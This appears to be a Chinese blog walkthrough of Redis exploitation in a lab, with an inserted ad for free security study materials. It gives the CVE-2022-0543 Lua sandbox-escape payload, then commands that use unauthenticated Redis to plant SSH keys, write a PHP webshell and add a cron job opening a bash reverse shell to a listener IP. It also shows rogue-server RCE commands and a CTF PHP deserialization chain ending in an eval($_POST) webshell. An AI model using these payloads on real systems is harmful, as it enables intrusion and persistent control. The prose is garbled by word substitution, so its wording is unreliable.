ubuntu 20.04+docker
docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -eVUL_IP=127.0.0.1 vulfocus/vulfocus
建议vulfocus最好搭建在云做事器上,本机搭建的有的环境可能会复现不堪利。
0x03漏洞复现Redis Lua沙盒绕过 命令实行 CVE-2022-0543
该漏洞的存在是由于Debian/Ubuntu中的Lua库是作为动态库供应的。自动添补了一个package变量,该变量又许可访问任意Lua功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中实行这个导出函数,即可得到io库,再利用其实行命令

该漏洞的存在是由于Debian/Ubuntu中的Lua库是作为动态库供应的。自动添补了一个package变量,该变量又许可访问任意Lua 功能
我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中实行这个导出函数,即可得到io库,再利用其实行命令
代码如下
local io_l =package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io");local io = io_l();local f = io.popen("id", "r");local res = f:read("a");f:close();return res
payload如下
eval 'local io_l =package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io"); local io = io_l(); local f = io.popen("id", "r");local res = f:read("a"); f:close(); return res' 0
漏洞复现
eval 'local io_l =package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io"); local io = io_l(); local f = io.popen("ls", "r");local res = f:read("a"); f:close(); return res' 0
这里可以用another redis 这个个管理工具,方便redis数据库利用
eval 'local io_l =package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io"); local io = io_l(); local f = io.popen("find / -nameflag", "r"); local res = f:read("a"); f:close(); return res' 0
这个未授权访问存在很多,而且口试也很常问,实战也能遇见到。
攻击姿势常见有三种,1写入公钥,2写入webshell,3写入操持任务,当然个中有不少细节,我们须要去节制。
【----帮助网安学习,须要网安学习资料关注我,私信回答“资料”免费获取----】① 网安学习发展路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞剖析报告④ 150+网安攻防实战技能电子书⑤ 最威信CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂口试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)
1.linux写入公钥
利用条件 Redis做事利用ROOT账号启动,安全模式protected-mode处于关闭状态
许可利用密钥登录,即可远程写入一个公钥,直接登录远程做事器
ssh-keygen -t rsacd /root/.ssh/(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txtcat key.txt | redis-cli -h 目标IP -x set xxx
这里权限不足,这个是vulfocus有问题
知足条件的话可以直接这样,可以自己搭建一个redis环境做实验
详细搭建可参考
https://blog.csdn.net/qq_41210745/article/details/103305262
yes要改成no
环境启动,接着
config set dir /root/.ssh/config set dbfilename authorized_keyssavecd /root/.ssh/ssh -i id_rsa root@目标IP
已经成功写入
进入该ubuntu查看 cd /root/.ssh/
考试测验SSH连接
ssh -i id_rsa root@192.168.48.133
可以看到成功拿下
2.写入webshell
条件条件,有可写权限,存在web做事,知道web路径
连续用该环境下考试测验webshell写入
命令如下
FLUSHALL 利用这个清空之前的配置
条件条件,web目录可以读写
config set dir /tmp 设置WEB写入目录config set dbfilename test.php 设置写入文件名set test "<?php phpinfo();?>" 设置写入文件代码set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"换行防止实行失落败bgsave 保存实行savechmod -R 777 /var/www/html/
这里设置html考试测验写入webshell
3.写操持任务反弹shell
FLUSHALL 记得清空配置
利用条件:Redis做事利用ROOT账号启动,安全模式protected-mode处于关闭状态
环境依然是上面的配置环境
config set dir /var/spool/cronset yy "\n\n\n bash -i >& /dev/tcp/ip/端口0>&1\n\n\n"config set dbfilename xsaveset yy "nnn bash -i >&/dev/tcp/192.168.48.133/9999 0>&1\n\n\n"
把稳:
centos会忽略乱码去实行格式精确的任务操持
而ubuntu并不会忽略这些乱码,以是导致命令实行失落败
可以看到有乱码,ubuntu并未正常实行
主从复制利用https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell
https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令实行
redis-rogue-serve
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhostIPpython3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325--lhost 192.168.48.132
redis-rogue-getshell
这里记得要编译
cd RedisModulesSDK/makepython3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132-P 6666 -f RedisModulesSDK/exp.so -c "id"python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132-P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag"
实际情形中我们可以灵巧利用exp.so文件,不一定非得用脚本,比如这种情形
天翼杯
考点反序列化,redis主从复制RCE代码
<?phpclass a{public $code = "";function __call($method,$args){eval($this->code);}// function __wakeup(){// $this->code = "";// }}class b{function __destruct(){echo $this->a->a();}}$a=new A();$b=new B();$a->code="phpinfo();";$b->a=$a;echoserialize($b);
布局POP链子,可以看到call魔术方法里面有eval函数,那么须要布局链子触发到call魔术方法。
call():当调用工具中不存在的方法会自动调用该方法wakeup()当利用unserialize()反序列化一个工具后,会自动调用该工具的__wakeup方法
这里destruct方法调用了一个不存在的a方法,那么会调用到call方法
由于wakeup方法中$this->code ="";还有preg_match_all('/"[BA]":(.?):/s',$_REQUEST['poc'],$ret);这里有过滤,以是接下来要做到绕过wakeup和正则,这里利用wakeup的CVE和php对类名大小写不敏感的特性去绕过,A,B换成a,b,个中wakeup漏洞事理:在类工具属性个数超过实际个数时就会不实行wakeup函数。
如下O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}绕过wakeupO:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
这里无法实行system("ls")
蚁剑连接$a->code="eval($_POST["a"]);";
打开之后创造其透露了redis的密码define("REDIS_PASS","you_cannot_guess_it");蚁剑插件连接上
利用EXP.so文件
MODULE LOAD /var/www/html/exp.so
然后就可以进行命令实行了
若有收成,就点个赞吧。